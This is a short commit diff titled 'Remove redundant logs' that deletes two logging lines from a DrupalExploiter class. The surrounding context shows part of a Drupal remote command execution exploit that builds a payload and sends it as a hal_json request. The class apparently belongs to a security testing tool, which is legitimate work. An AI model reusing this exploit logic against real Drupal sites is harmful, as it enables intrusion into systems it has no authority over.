Remove redundant logs

This commit is contained in:
ophirharpazg 2020-09-01 14:57:22 +03:00
parent 4de9e92ce2
commit ac731f5736
1 changed files with 0 additions and 3 deletions

View File

@ -85,8 +85,6 @@ class DrupalExploiter(WebRCE):
base = remove_port(url)
payload = build_cmd_execution_payload(base, cmd)
LOG.info(payload)
r = requests.get(f'{url}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})
if is_response_cached(r):
@ -96,7 +94,6 @@ class DrupalExploiter(WebRCE):
LOG.warning('Command execution _may_ have failed')
result = r.text.split(ID_STRING)[-1]
LOG.info(f'Drupal exploit result = {result}')
return result
def get_target_url(self):